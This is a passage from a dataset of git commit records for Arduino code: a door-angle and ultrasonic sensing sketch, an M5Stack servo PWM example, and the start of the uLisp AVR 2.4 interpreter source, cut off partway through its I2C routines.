<CurieIMU.h>\n#include <MadgwickAHRS.h>\n#include <NewPing.h>\n\n\/\/ ULTRASONIC\n#define TRIGGER_PIN_1 12 \/\/ Arduino pin tied to trigger pin on the ultrasonic sensor.\n#define ECHO_PIN_1 11 \/\/ Arduino pin tied to echo pin on the ultrasonic sensor.\n#define TRIGGER_PIN_2 10 \/\/ Arduino pin tied to trigger pin on the ultrasonic sensor.\n#define ECHO_PIN_2 9 \/\/ Arduino pin tied to echo pin on the ultrasonic sensor.\n\n#define DETECTION_THRESH 50 \/\/ Distance cutoff for passing\n#define MAX_DISTANCE 200 \/\/ Maximum distance we want to ping for (in centimeters). Maximum sensor distance is rated at 400-500cm.\n\nNewPing sonar_1(TRIGGER_PIN_1, ECHO_PIN_1, MAX_DISTANCE); \/\/ NewPing setup of pins and maximum distance.\nNewPing sonar_2(TRIGGER_PIN_2, ECHO_PIN_2, MAX_DISTANCE); \/\/ NewPing setup of pins and maximum distance.\n\n\/\/ MADGEWICK\nMadgwick filter;\nunsigned long microsPerReading, microsPrevious;\nfloat accelScale, gyroScale;\n\n\/\/ SETUP\nvoid setup() {\n Serial.begin(9600);\n\n \/\/ start the IMU and filter\n CurieIMU.begin();\n CurieIMU.setGyroRate(25);\n CurieIMU.setAccelerometerRate(25);\n filter.begin(25);\n\n \/\/ Set the accelerometer range to 2G\n CurieIMU.setAccelerometerRange(2);\n \/\/ Set the gyroscope range to 250 degrees\/second\n CurieIMU.setGyroRange(250);\n\n \/\/ initialize variables to pace updates to correct rate\n microsPerReading = 1000000 \/ 25;\n microsPrevious = micros();\n}\n\nvoid loop() {\n int aix, aiy, aiz;\n int gix, giy, giz;\n float ax, ay, az;\n float gx, gy, gz;\n float doorAngle;\n int ping_1, ping_2;\n unsigned long microsNow;\n\n \/\/ check if it's time to read data and update the filter\n microsNow = micros();\n if (microsNow - microsPrevious >= microsPerReading) {\n\n \/\/ read raw data from CurieIMU\n CurieIMU.readMotionSensor(aix, aiy, aiz, gix, giy, giz);\n\n \/\/ convert from raw data to gravity and degrees\/second units\n ax = convertRawAcceleration(aix);\n ay = convertRawAcceleration(aiy);\n az = convertRawAcceleration(aiz);\n gx = convertRawGyro(gix);\n gy = convertRawGyro(giy);\n gz = convertRawGyro(giz);\n\n \/\/ update the filter, which computes orientation\n filter.updateIMU(gx, gy, gz, ax, ay, az);\n\n \/\/ print the heading, pitch and roll\n doorAngle = filter.getYaw();\n Serial.print(\"Door Angle: \");\n Serial.println(doorAngle);\n\n ping_1 = sonar_1.ping_cm();\n ping_2 = sonar_2.ping_cm();\n printpings(ping_1, ping_2);\n\n \/\/ increment previous time, so we keep proper pace\n microsPrevious = microsPrevious + microsPerReading;\n }\n}\n\nfloat convertRawAcceleration(int aRaw) {\n \/\/ since we are using 2G range\n \/\/ -2g maps to a raw value of -32768\n \/\/ +2g maps to a raw value of 32767\n \n float a = (aRaw * 2.0) \/ 32768.0;\n return a;\n}\n\nfloat convertRawGyro(int gRaw) {\n \/\/ since we are using 250 degrees\/seconds range\n \/\/ -250 maps to a raw value of -32768\n \/\/ +250 maps to a raw value of 32767\n \n float g = (gRaw * 250.0) \/ 32768.0;\n return g;\n}\n\nvoid printpings(int ping_1, int ping_2) {\n Serial.print(\"Ping 1: \");\n Serial.print(ping_1); \/\/ Send ping, get distance in cm and print result (0 = outside set distance range)\n Serial.print(\" cm | Ping 2: \");\n Serial.print(ping_2); \/\/ Send ping, get distance in cm and print result (0 = outside set distance range)\n Serial.println(\" cm\");\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'Turnstyle\/Turnstyle.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"6cd8ce15e723c2043a3c01763320413ebff300d5","subject":"add Catch Unit example","message":"add Catch Unit example\n","repos":"m5stack\/M5Stack,m5stack\/M5Stack,m5stack\/M5Stack","old_file":"examples\/Unit\/CATCH\/CATCH.ino","new_file":"examples\/Unit\/CATCH\/CATCH.ino","new_contents":"\/*\n Description: Control Catch Unit through PWM.\n*\/\n\n#include <M5Stack.h>\n\nconst int servoPin = 26;\nint freq = 50;\nint ledChannel = 0;\nint resolution = 10;\nvoid setup() {\n \/\/ put your setup code here, to run once:\n M5.begin();\n M5.Power.begin();\n M5.Lcd.setCursor(100, 50, 4);\n M5.Lcd.println(\"Catch Unit\");\n M5.Lcd.setCursor(40, 120, 4);\n M5.Lcd.println(\"Connect to the Port B\");\n ledcSetup(ledChannel, freq, resolution);\n ledcAttachPin(servoPin, ledChannel);\n}\n\nvoid loop() {\n \/\/ High level 0.5ms is angle 0\u00b0\n \/\/ duty = 0.5\/20ms = 0.025, 0.025*1023\u224825\n ledcWrite(ledChannel, 25);\n delay(2000);\n \/\/ High level 1ms is angle 45\u00b0\n \/\/ duty = 1\/20ms = 0.05, 0.05*1023\u224850\n ledcWrite(ledChannel, 50);\n delay(2000);\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'examples\/Unit\/CATCH\/CATCH.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"a4e66f13bc926fe24a11bbb4114eb74400da7dd9","subject":"Version 2.4 - 9th October 2018","message":"Version 2.4 - 9th October 2018\n\nBug fixes","repos":"technoblogy\/ulisp","old_file":"uLisp.ino","new_file":"uLisp.ino","new_contents":"\/* uLisp AVR Version 2.4 - www.ulisp.com\n David Johnson-Davies - www.technoblogy.com - 9th October 2018\n\n Licensed under the MIT license: https:\/\/opensource.org\/licenses\/MIT\n*\/\n\n\/\/ Compile options\n\n#define checkoverflow\n\/\/ #define resetautorun\n#define printfreespace\n#define serialmonitor\n\/\/ #define printgcs\n\/\/ #define sdcardsupport\n\/\/ #define lisplibrary\n\n\/\/ Includes\n\n\/\/ #include \"LispLibrary.h\"\n#include <avr\/sleep.h>\n#include <setjmp.h>\n#include <SPI.h>\n#include <limits.h>\n\n#if defined(sdcardsupport)\n#include <SD.h>\n#define SDSIZE 172\n#else\n#define SDSIZE 0\n#endif\n\n\/\/ C Macros\n\n#define nil NULL\n#define car(x) (((object *) (x))->car)\n#define cdr(x) (((object *) (x))->cdr)\n\n#define first(x) (((object *) (x))->car)\n#define second(x) (car(cdr(x)))\n#define cddr(x) (cdr(cdr(x)))\n#define third(x) (car(cdr(cdr(x))))\n\n#define push(x, y) ((y) = cons((x),(y)))\n#define pop(y) ((y) = cdr(y))\n\n#define integerp(x) ((x) != NULL && (x)->type == NUMBER)\n#define symbolp(x) ((x) != NULL && (x)->type == SYMBOL)\n#define stringp(x) ((x) != NULL && (x)->type == STRING)\n#define characterp(x) ((x) != NULL && (x)->type == CHARACTER)\n#define streamp(x) ((x) != NULL && (x)->type == STREAM)\n\n#define mark(x) (car(x) = (object *)(((uintptr_t)(car(x))) | MARKBIT))\n#define unmark(x) (car(x) = (object *)(((uintptr_t)(car(x))) & ~MARKBIT))\n#define marked(x) ((((uintptr_t)(car(x))) & MARKBIT) != 0)\n#define MARKBIT 1\n\n#define setflag(x) (Flags = Flags | 1<<(x))\n#define clrflag(x) (Flags = Flags & ~(1<<(x)))\n#define tstflag(x) (Flags & 1<<(x))\n\n\/\/ Constants\n\nconst int TRACEMAX = 3; \/\/ Number of traced functions\nenum type { ZERO=0, SYMBOL=2, NUMBER=4, STREAM=6, CHARACTER=8, STRING=10, PAIR=12 }; \/\/ STRING and PAIR must be last\nenum token { UNUSED, BRA, KET, QUO, DOT };\nenum stream { SERIALSTREAM, I2CSTREAM, SPISTREAM, SDSTREAM };\n\nenum function { SYMBOLS, NIL, TEE, NOTHING, AMPREST, LAMBDA, LET, LETSTAR, CLOSURE, SPECIAL_FORMS, QUOTE,\nDEFUN, DEFVAR, SETQ, LOOP, PUSH, POP, INCF, DECF, SETF, DOLIST, DOTIMES, TRACE, UNTRACE, FORMILLIS,\nWITHSERIAL, WITHI2C, WITHSPI, WITHSDCARD, TAIL_FORMS, PROGN, RETURN, IF, COND, WHEN, UNLESS, AND, OR,\nFUNCTIONS, NOT, NULLFN, CONS, ATOM, LISTP, CONSP, SYMBOLP, STREAMP, EQ, CAR, FIRST, CDR, REST, CAAR, CADR,\nSECOND, CDAR, CDDR, CAAAR, CAADR, CADAR, CADDR, THIRD, CDAAR, CDADR, CDDAR, CDDDR, LENGTH, LIST, REVERSE,\nNTH, ASSOC, MEMBER, APPLY, FUNCALL, APPEND, MAPC, MAPCAR, ADD, SUBTRACT, MULTIPLY, DIVIDE, TRUNCATE, MOD,\nONEPLUS, ONEMINUS, ABS, RANDOM, MAXFN, MINFN, NOTEQ, NUMEQ, LESS, LESSEQ, GREATER, GREATEREQ, PLUSP,\nMINUSP, ZEROP, ODDP, EVENP, INTEGERP, NUMBERP, CHAR, CHARCODE, CODECHAR, CHARACTERP, STRINGP, STRINGEQ,\nSTRINGLESS, STRINGGREATER, SORT, STRINGFN, CONCATENATE, SUBSEQ, READFROMSTRING, PRINCTOSTRING,\nPRIN1TOSTRING, LOGAND, LOGIOR, LOGXOR, LOGNOT, ASH, LOGBITP, EVAL, GLOBALS, LOCALS, MAKUNBOUND, BREAK,\nREAD, PRIN1, PRINT, PRINC, TERPRI, READBYTE, READLINE, WRITEBYTE, WRITESTRING, WRITELINE, RESTARTI2C, GC,\nROOM, SAVEIMAGE, LOADIMAGE, CLS, PINMODE, DIGITALREAD, DIGITALWRITE, ANALOGREAD, ANALOGWRITE, DELAY,\nMILLIS, SLEEP, NOTE, EDIT, PPRINT, PPRINTALL, ENDFUNCTIONS };\n\n\/\/ Typedefs\n\ntypedef unsigned int symbol_t;\n\ntypedef struct sobject {\n union {\n struct {\n sobject *car;\n sobject *cdr;\n };\n struct {\n unsigned int type;\n union {\n symbol_t name;\n int integer;\n };\n };\n };\n} object;\n\ntypedef object *(*fn_ptr_type)(object *, object *);\n\ntypedef struct {\n const char *string;\n fn_ptr_type fptr;\n uint8_t min;\n uint8_t max;\n} tbl_entry_t;\n\ntypedef int (*gfun_t)();\ntypedef void (*pfun_t)(char);\n\n\/\/ Workspace - sizes in bytes\n#define WORDALIGNED __attribute__((aligned (2)))\n#define BUFFERSIZE 18\n\n#if defined(__AVR_ATmega328P__)\n#define WORKSPACESIZE 315-SDSIZE \/* Cells (4*bytes) *\/\n#define EEPROMSIZE 1024 \/* Bytes *\/\n#define SYMBOLTABLESIZE BUFFERSIZE \/* Bytes - no long symbols *\/\n\n#elif defined(__AVR_ATmega2560__)\n#define WORKSPACESIZE 1216-SDSIZE \/* Cells (4*bytes) *\/\n#define EEPROMSIZE 4096 \/* Bytes *\/\n#define SYMBOLTABLESIZE 512 \/* Bytes *\/\n\n#elif defined(__AVR_ATmega1284P__)\n#define WORKSPACESIZE 2816-SDSIZE \/* Cells (4*bytes) *\/\n#define EEPROMSIZE 4096 \/* Bytes *\/\n#define SYMBOLTABLESIZE 512 \/* Bytes *\/\n#endif\n\nobject Workspace[WORKSPACESIZE] WORDALIGNED;\nchar SymbolTable[SYMBOLTABLESIZE];\ntypedef int BitOrder;\n#define SDCARD_SS_PIN 10\n\n\/\/ Global variables\n\njmp_buf exception;\nunsigned int Freespace = 0;\nobject *Freelist;\nchar *SymbolTop = SymbolTable;\nunsigned int I2CCount;\nunsigned int TraceFn[TRACEMAX];\nunsigned int TraceDepth[TRACEMAX];\n\nobject *GlobalEnv;\nobject *GCStack = NULL;\nobject *GlobalString;\nint GlobalStringIndex = 0;\nchar BreakLevel = 0;\nchar LastChar = 0;\nchar LastPrint = 0;\nchar PrintReadably = 1;\n\n\/\/ Flags\nenum flag { RETURNFLAG, ESCAPE, EXITEDITOR };\nvolatile char Flags;\n\n\/\/ Forward references\nobject *tee;\nobject *tf_progn (object *form, object *env);\nobject *eval (object *form, object *env);\nobject *read ();\nvoid repl(object *env);\nvoid printobject (object *form, pfun_t pfun);\nchar *lookupbuiltin (symbol_t name);\nintptr_t lookupfn (symbol_t name);\nint builtin (char* n);\nvoid error (PGM_P string);\nvoid pfstring (PGM_P s, pfun_t pfun);\n\n\/\/ Set up workspace\n\nvoid initworkspace () {\n Freelist = NULL;\n for (int i=WORKSPACESIZE-1; i>=0; i--) {\n object *obj = &Workspace[i];\n car(obj) = NULL;\n cdr(obj) = Freelist;\n Freelist = obj;\n Freespace++;\n }\n}\n\nobject *myalloc () {\n if (Freespace == 0) error(PSTR(\"No room\"));\n object *temp = Freelist;\n Freelist = cdr(Freelist);\n Freespace--;\n return temp;\n}\n\ninline void myfree (object *obj) {\n car(obj) = NULL;\n cdr(obj) = Freelist;\n Freelist = obj;\n Freespace++;\n}\n\n\/\/ Make each type of object\n\nobject *number (int n) {\n object *ptr = myalloc();\n ptr->type = NUMBER;\n ptr->integer = n;\n return ptr;\n}\n\nobject *character (char c) {\n object *ptr = myalloc();\n ptr->type = CHARACTER;\n ptr->integer = c;\n return ptr;\n}\n\nobject *cons (object *arg1, object *arg2) {\n object *ptr = myalloc();\n ptr->car = arg1;\n ptr->cdr = arg2;\n return ptr;\n}\n\nobject *symbol (symbol_t name) {\n object *ptr = myalloc();\n ptr->type = SYMBOL;\n ptr->name = name;\n return ptr;\n}\n\nobject *newsymbol (symbol_t name) {\n for (int i=WORKSPACESIZE-1; i>=0; i--) {\n object *obj = &Workspace[i];\n if (obj->type == SYMBOL && obj->name == name) return obj;\n }\n return symbol(name);\n}\n\nobject *stream (unsigned char streamtype, unsigned char address) {\n object *ptr = myalloc();\n ptr->type = STREAM;\n ptr->integer = streamtype<<8 | address;\n return ptr;\n}\n\n\/\/ Garbage collection\n\nvoid markobject (object *obj) {\n MARK:\n if (obj == NULL) return;\n if (marked(obj)) return;\n\n object* arg = car(obj);\n unsigned int type = obj->type;\n mark(obj);\n \n if (type >= PAIR || type == ZERO) { \/\/ cons\n markobject(arg);\n obj = cdr(obj);\n goto MARK;\n }\n\n if (type == STRING) {\n obj = cdr(obj);\n while (obj != NULL) {\n arg = car(obj);\n mark(obj);\n obj = arg;\n }\n }\n}\n\nvoid sweep () {\n Freelist = NULL;\n Freespace = 0;\n for (int i=WORKSPACESIZE-1; i>=0; i--) {\n object *obj = &Workspace[i];\n if (!marked(obj)) myfree(obj); else unmark(obj);\n }\n}\n\nvoid gc (object *form, object *env) {\n #if defined(printgcs)\n int start = Freespace;\n #endif\n markobject(tee);\n markobject(GlobalEnv);\n markobject(GCStack);\n markobject(form);\n markobject(env);\n sweep();\n #if defined(printgcs)\n pfl(pserial); pserial('{'); pint(Freespace - start, pserial); pserial('}');\n #endif\n}\n\n\/\/ Compact image\n\nvoid movepointer (object *from, object *to) {\n for (int i=0; i<WORKSPACESIZE; i++) {\n object *obj = &Workspace[i];\n unsigned int type = (obj->type) & ~MARKBIT;\n if (marked(obj) && (type >= STRING || type==ZERO)) {\n if (car(obj) == (object *)((uintptr_t)from | MARKBIT)) \n car(obj) = (object *)((uintptr_t)to | MARKBIT);\n if (cdr(obj) == from) cdr(obj) = to;\n }\n }\n \/\/ Fix strings\n for (int i=0; i<WORKSPACESIZE; i++) {\n object *obj = &Workspace[i];\n if (marked(obj) && ((obj->type) & ~MARKBIT) == STRING) {\n obj = cdr(obj);\n while (obj != NULL) {\n if (cdr(obj) == to) cdr(obj) = from;\n obj = (object *)((uintptr_t)(car(obj)) & ~MARKBIT);\n }\n }\n }\n}\n \nint compactimage (object **arg) {\n markobject(tee);\n markobject(GlobalEnv);\n markobject(GCStack);\n object *firstfree = Workspace;\n while (marked(firstfree)) firstfree++;\n object *obj = &Workspace[WORKSPACESIZE-1];\n while (firstfree < obj) {\n if (marked(obj)) {\n car(firstfree) = car(obj);\n cdr(firstfree) = cdr(obj);\n unmark(obj);\n movepointer(obj, firstfree);\n if (GlobalEnv == obj) GlobalEnv = firstfree;\n if (GCStack == obj) GCStack = firstfree;\n if (*arg == obj) *arg = firstfree;\n while (marked(firstfree)) firstfree++;\n }\n obj--;\n }\n sweep();\n return firstfree - Workspace;\n}\n\n\/\/ Make SD card filename\n\nchar *MakeFilename (object *arg) {\n char *buffer = SymbolTop;\n int i = 0;\n do {\n char c = nthchar(arg, i);\n if (c == '\\0') break;\n buffer[i++] = c;\n } while (i<12); \/\/ Truncate to 12 chars\n buffer[i] = '\\0';\n return buffer;\n}\n\n\/\/ Save-image and load-image\n\ntypedef struct {\n unsigned int eval;\n unsigned int datasize;\n unsigned int globalenv;\n unsigned int gcstack;\n #if SYMBOLTABLESIZE > BUFFERSIZE\n unsigned int symboltop;\n char table[SYMBOLTABLESIZE];\n #endif\n object data[];\n} struct_image;\n\nstruct_image EEMEM image;\n\nint saveimage (object *arg) {\n unsigned int imagesize = compactimage(&arg);\n int bytesneeded = imagesize*4 + SYMBOLTABLESIZE + 10;\n if (bytesneeded > EEPROMSIZE) {\n pfstring(PSTR(\"Error: Image size too large: \"), pserial);\n pint(imagesize, pserial); pln(pserial);\n GCStack = NULL;\n longjmp(exception, 1);\n }\n eeprom_update_word(&image.datasize, imagesize);\n eeprom_update_word(&image.eval, (unsigned int)arg);\n eeprom_update_word(&image.globalenv, (unsigned int)GlobalEnv);\n eeprom_update_word(&image.gcstack, (unsigned int)GCStack);\n #if SYMBOLTABLESIZE > BUFFERSIZE\n eeprom_update_word(&image.symboltop, (unsigned int)SymbolTop);\n eeprom_update_block(SymbolTable, image.table, SYMBOLTABLESIZE);\n #endif\n eeprom_update_block(Workspace, image.data, imagesize*4);\n return imagesize;\n}\n\nint loadimage (object *filename) {\n (void) filename;\n unsigned int imagesize = eeprom_read_word(&image.datasize);\n if (imagesize == 0 || imagesize == 0xFFFF) error(PSTR(\"No saved image\"));\n GlobalEnv = (object *)eeprom_read_word(&image.globalenv);\n GCStack = (object *)eeprom_read_word(&image.gcstack);\n #if SYMBOLTABLESIZE > BUFFERSIZE\n SymbolTop = (char *)eeprom_read_word(&image.symboltop);\n eeprom_read_block(SymbolTable, image.table, SYMBOLTABLESIZE);\n #endif\n eeprom_read_block(Workspace, image.data, imagesize*4);\n gc(NULL, NULL);\n return imagesize;\n}\n\nvoid autorunimage () {\n object *nullenv = NULL;\n object *autorun = (object *)eeprom_read_word(&image.eval);\n if (autorun != NULL && (unsigned int)autorun != 0xFFFF) {\n loadimage(nil);\n apply(autorun, NULL, &nullenv);\n }\n}\n\n\/\/ Error handling\n\nvoid error (PGM_P string) {\n pfl(pserial); pfstring(PSTR(\"Error: \"), pserial);\n pfstring(string, pserial); pln(pserial);\n GCStack = NULL;\n longjmp(exception, 1);\n}\n\nvoid error2 (object *symbol, PGM_P string) {\n pfl(pserial); pfstring(PSTR(\"Error: \"), pserial);\n if (symbol == NULL) pfstring(PSTR(\"function \"), pserial);\n else { pserial('\\''); printobject(symbol, pserial); pfstring(PSTR(\"' \"), pserial); }\n pfstring(string, pserial); pln(pserial);\n GCStack = NULL;\n longjmp(exception, 1);\n}\n\n\/\/ Tracing\n\nboolean tracing (symbol_t name) {\n int i = 0;\n while (i < TRACEMAX) {\n if (TraceFn[i] == name) return i+1;\n i++;\n }\n return 0;\n}\n\nvoid trace (symbol_t name) {\n if (tracing(name)) error(PSTR(\"Already being traced\"));\n int i = 0;\n while (i < TRACEMAX) {\n if (TraceFn[i] == 0) { TraceFn[i] = name; TraceDepth[i] = 0; return; }\n i++;\n }\n error(PSTR(\"Already tracing 3 functions\"));\n}\n\nvoid untrace (symbol_t name) {\n int i = 0;\n while (i < TRACEMAX) {\n if (TraceFn[i] == name) { TraceFn[i] = 0; return; }\n i++;\n }\n error(PSTR(\"It wasn't being traced\"));\n}\n\n\/\/ Helper functions\n\nboolean consp (object *x) {\n if (x == NULL) return false;\n unsigned int type = x->type;\n return type >= PAIR || type == ZERO;\n}\n\nboolean atom (object *x) {\n if (x == NULL) return true;\n unsigned int type = x->type;\n return type < PAIR && type != ZERO;\n}\n\nboolean listp (object *x) {\n if (x == NULL) return true;\n unsigned int type = x->type;\n return type >= PAIR || type == ZERO;\n}\n\nint toradix40 (char ch) {\n if (ch == 0) return 0;\n if (ch >= '0' && ch <= '9') return ch-'0'+30;\n ch = ch | 0x20;\n if (ch >= 'a' && ch <= 'z') return ch-'a'+1;\n return -1; \/\/ Invalid\n}\n\nint fromradix40 (int n) {\n if (n >= 1 && n <= 26) return 'a'+n-1;\n if (n >= 30 && n <= 39) return '0'+n-30;\n return 0;\n}\n\nint pack40 (char *buffer) {\n return (((toradix40(buffer[0]) * 40) + toradix40(buffer[1])) * 40 + toradix40(buffer[2]));\n}\n\nboolean valid40 (char *buffer) {\n return (toradix40(buffer[0]) >= 0 && toradix40(buffer[1]) >= 0 && toradix40(buffer[2]) >= 0);\n}\n\nint digitvalue (char d) {\n if (d>='0' && d<='9') return d-'0';\n d = d | 0x20;\n if (d>='a' && d<='f') return d-'a'+10;\n return 16;\n}\n\nchar *name (object *obj){\n if (obj->type != SYMBOL) error(PSTR(\"Error in name\"));\n symbol_t x = obj->name;\n if (x < ENDFUNCTIONS) return lookupbuiltin(x);\n else if (x >= 64000) return lookupsymbol(x);\n char *buffer = SymbolTop;\n buffer[3] = '\\0';\n for (int n=2; n>=0; n--) {\n buffer[n] = fromradix40(x % 40);\n x = x \/ 40;\n }\n return buffer;\n}\n\nint integer (object *obj){\n if (!integerp(obj)) error2(obj, PSTR(\"is not an integer\"));\n return obj->integer;\n}\n\nint fromchar (object *obj){\n if (!characterp(obj)) error2(obj, PSTR(\"is not a character\"));\n return obj->integer;\n}\n\nint istream (object *obj){\n if (!streamp(obj)) error2(obj, PSTR(\"is not a stream\"));\n return obj->integer;\n}\n\nint issymbol (object *obj, symbol_t n) {\n return symbolp(obj) && obj->name == n;\n}\n\nint eq (object *arg1, object *arg2) {\n if (arg1 == arg2) return true; \/\/ Same object\n if ((arg1 == nil) || (arg2 == nil)) return false; \/\/ Not both values\n if (arg1->cdr != arg2->cdr) return false; \/\/ Different values\n if (symbolp(arg1) && symbolp(arg2)) return true; \/\/ Same symbol\n if (integerp(arg1) && integerp(arg2)) return true; \/\/ Same integer\n if (characterp(arg1) && characterp(arg2)) return true; \/\/ Same character\n return false;\n}\n\nint listlength (object *list) {\n int length = 0;\n while (list != NULL) {\n list = cdr(list);\n length++;\n }\n return length;\n}\n\n\/\/ Association lists\n\nobject *assoc (object *key, object *list) {\n while (list != NULL) {\n object *pair = first(list);\n if (eq(key,car(pair))) return pair;\n list = cdr(list);\n }\n return nil;\n}\n\nobject *delassoc (object *key, object **alist) {\n object *list = *alist;\n object *prev = NULL;\n while (list != NULL) {\n object *pair = first(list);\n if (eq(key,car(pair))) {\n if (prev == NULL) *alist = cdr(list);\n else cdr(prev) = cdr(list);\n return key;\n }\n prev = list;\n list = cdr(list);\n }\n return nil;\n}\n\n\/\/ String utilities\n\nvoid indent (int spaces, pfun_t pfun) {\n for (int i=0; i<spaces; i++) pfun(' ');\n}\n\nvoid buildstring (char ch, int *chars, object **head) {\n static object* tail;\n static uint8_t shift;\n if (*chars == 0) {\n shift = (sizeof(int)-1)*8;\n *chars = ch<<shift;\n object *cell = myalloc();\n if (*head == NULL) *head = cell; else tail->car = cell;\n cell->car = NULL;\n cell->integer = *chars;\n tail = cell;\n } else {\n shift = shift - 8;\n *chars = *chars | ch<<shift;\n tail->integer = *chars;\n if (shift == 0) *chars = 0;\n }\n}\n\nobject *readstring (char delim, gfun_t gfun) {\n object *obj = myalloc();\n obj->type = STRING;\n int ch = gfun();\n if (ch == -1) return nil;\n object *head = NULL;\n int chars = 0;\n while ((ch != delim) && (ch != -1)) {\n if (ch == '\\\\') ch = gfun();\n buildstring(ch, &chars, &head);\n ch = gfun();\n }\n obj->cdr = head;\n return obj;\n}\n\nint stringlength (object *form) {\n int length = 0;\n form = cdr(form);\n while (form != NULL) {\n int chars = form->integer;\n for (int i=(sizeof(int)-1)*8; i>=0; i=i-8) {\n if (chars>>i & 0xFF) length++;\n }\n form = car(form);\n }\n return length;\n}\n\nchar nthchar (object *string, int n) {\n object *arg = cdr(string);\n int top;\n if (sizeof(int) == 4) { top = n>>2; n = 3 - (n&3); }\n else { top = n>>1; n = 1 - (n&1); }\n for (int i=0; i<top; i++) {\n if (arg == NULL) return 0;\n arg = car(arg);\n }\n if (arg == NULL) return 0;\n return (arg->integer)>>(n*8) & 0xFF;\n}\n\n\/\/ Lookup variable in environment\n\nobject *value (symbol_t n, object *env) {\n while (env != NULL) {\n object *pair = car(env);\n if (pair != NULL && car(pair)->name == n) return pair;\n env = cdr(env);\n }\n return nil;\n}\n\nobject *findvalue (object *var, object *env) {\n symbol_t varname = var->name;\n object *pair = value(varname, env);\n if (pair == NULL) pair = value(varname, GlobalEnv);\n if (pair == NULL) error2(var, PSTR(\"unknown variable\"));\n return pair;\n}\n\nobject *findtwin (object *var, object *env) {\n while (env != NULL) {\n object *pair = car(env);\n if (pair != NULL && car(pair) == var) return pair;\n env = cdr(env);\n }\n return NULL;\n}\n\n\/\/ Handling closures\n \nobject *closure (int tc, object *fname, object *state, object *function, object *args, object **env) {\n int trace = 0;\n if (fname != NULL) trace = tracing(fname->name);\n if (trace) {\n indent(TraceDepth[trace-1]<<1, pserial);\n pint(TraceDepth[trace-1]++, pserial);\n pserial(':'); pserial(' '); pserial('('); printobject(fname, pserial);\n }\n object *params = first(function);\n function = cdr(function);\n \/\/ Push state if not already in env\n while (state != NULL) {\n object *pair = first(state);\n if (findtwin(car(pair), *env) == NULL) push(pair, *env);\n state = cdr(state);\n }\n \/\/ Add arguments to environment\n while (params != NULL && args != NULL) {\n object *value;\n object *var = first(params);\n if (var->name == AMPREST) {\n params = cdr(params);\n var = first(params);\n value = args;\n args = NULL;\n } else {\n value = first(args);\n args = cdr(args);\n }\n object *pair = findtwin(var, *env);\n if (tc && (pair != NULL)) cdr(pair) = value;\n else push(cons(var,value), *env);\n params = cdr(params);\n if (trace) { pserial(' '); printobject(value, pserial); }\n }\n if (params != NULL) error2(fname, PSTR(\"has too few parameters\"));\n if (args != NULL) error2(fname, PSTR(\"has too many parameters\"));\n if (trace) { pserial(')'); pln(pserial); }\n \/\/ Do an implicit progn\n return tf_progn(function, *env);\n}\n\nobject *apply (object *function, object *args, object **env) {\n if (symbolp(function)) {\n symbol_t name = function->name;\n int nargs = listlength(args);\n if (name >= ENDFUNCTIONS) error2(function, PSTR(\"is not valid here\"));\n if (nargs<lookupmin(name)) error2(function, PSTR(\"has too few arguments\"));\n if (nargs>lookupmax(name)) error2(function, PSTR(\"has too many arguments\"));\n return ((fn_ptr_type)lookupfn(name))(args, *env);\n }\n if (listp(function) && issymbol(car(function), LAMBDA)) {\n function = cdr(function);\n object *result = closure(0, NULL, NULL, function, args, env);\n return eval(result, *env);\n }\n if (listp(function) && issymbol(car(function), CLOSURE)) {\n function = cdr(function);\n object *result = closure(0, NULL, car(function), cdr(function), args, env);\n return eval(result, *env);\n }\n error2(function, PSTR(\"is an illegal function\"));\n return NULL;\n}\n\n\/\/ In-place operations\n\nobject **place (object *args, object *env) {\n if (atom(args)) return &cdr(findvalue(args, env));\n object* function = first(args);\n if (issymbol(function, CAR) || issymbol(function, FIRST)) {\n object *value = eval(second(args), env);\n if (!listp(value)) error(PSTR(\"Can't take car\"));\n return &car(value);\n }\n if (issymbol(function, CDR) || issymbol(function, REST)) {\n object *value = eval(second(args), env);\n if (!listp(value)) error(PSTR(\"Can't take cdr\"));\n return &cdr(value);\n }\n if (issymbol(function, NTH)) {\n int index = integer(eval(second(args), env));\n object *list = eval(third(args), env);\n if (atom(list)) error(PSTR(\"'nth' second argument is not a list\"));\n while (index > 0) {\n list = cdr(list);\n if (list == NULL) error(PSTR(\"'nth' index out of range\"));\n index--;\n }\n return &car(list);\n }\n error(PSTR(\"Illegal place\"));\n return nil;\n}\n\n\/\/ Checked car and cdr\n\ninline object *carx (object *arg) {\n if (!listp(arg)) error(PSTR(\"Can't take car\"));\n if (arg == nil) return nil;\n return car(arg);\n}\n\ninline object *cdrx (object *arg) {\n if (!listp(arg)) error(PSTR(\"Can't take cdr\"));\n if (arg == nil) return nil;\n return cdr(arg);\n}\n\n\/\/ I2C interface\n\n#if defined(__AVR_ATmega328P__)\nuint8_t const TWI_SDA_PIN = 18;\nuint8_t const TWI_SCL_PIN = 19;\n#elif defined(__AVR_ATmega1280__) || defined(__AVR_ATmega2560__)\nuint8_t const TWI_SDA_PIN = 20;\nuint8_t const TWI_SCL_PIN = 21;\n#elif defined(__AVR_ATmega644P__) || defined(__AVR_ATmega1284P__)\nuint8_t const TWI_SDA_PIN = 17;\nuint8_t const TWI_SCL_PIN = 16;\n#elif defined(__AVR_ATmega32U4__)\nuint8_t const TWI_SDA_PIN = 6;\nuint8_t const TWI_SCL_PIN = 5;\n#endif\n\nuint32_t const F_TWI = 400000L; \/\/ Hardware I2C clock in Hz\nuint8_t const TWSR_MTX_DATA_ACK = 0x28;\nuint8_t const TWSR_MTX_ADR_ACK = 0x18;\nuint8_t const TWSR_MRX_ADR_ACK = 0x40;\nuint8_t const TWSR_START = 0x08;\nuint8_t const TWSR_REP_START = 0x10;\nuint8_t const I2C_READ = 1;\nuint8_t const I2C_WRITE = 0;\n\nvoid I2Cinit(bool enablePullup) {\n TWSR = 0; \/\/ no prescaler\n TWBR = (F_CPU\/F_TWI - 16)\/2; \/\/ set bit rate factor\n if (enablePullup) {\n digitalWrite(TWI_SDA_PIN, HIGH);\n digitalWrite(TWI_SCL_PIN, HIGH);\n }\n}\n\nuint8_t I2Cread() {\n if (I2CCount != 0) I2CCount--;\n TWCR = 1<<TWINT | 1<<TWEN | ((I2CCount == 0) ? 0 : (1<<TWEA));\n while (!(TWCR & 1<<TWINT));\n return TWDR;\n}\n\nbool I2Cwrite(uint8_t data) {\n TWDR = data;\n TWCR = 1<<TWINT | 1 << TWEN;\n while (!(TWCR & 1<<TWINT));\n return (TWSR & 0xF8) == 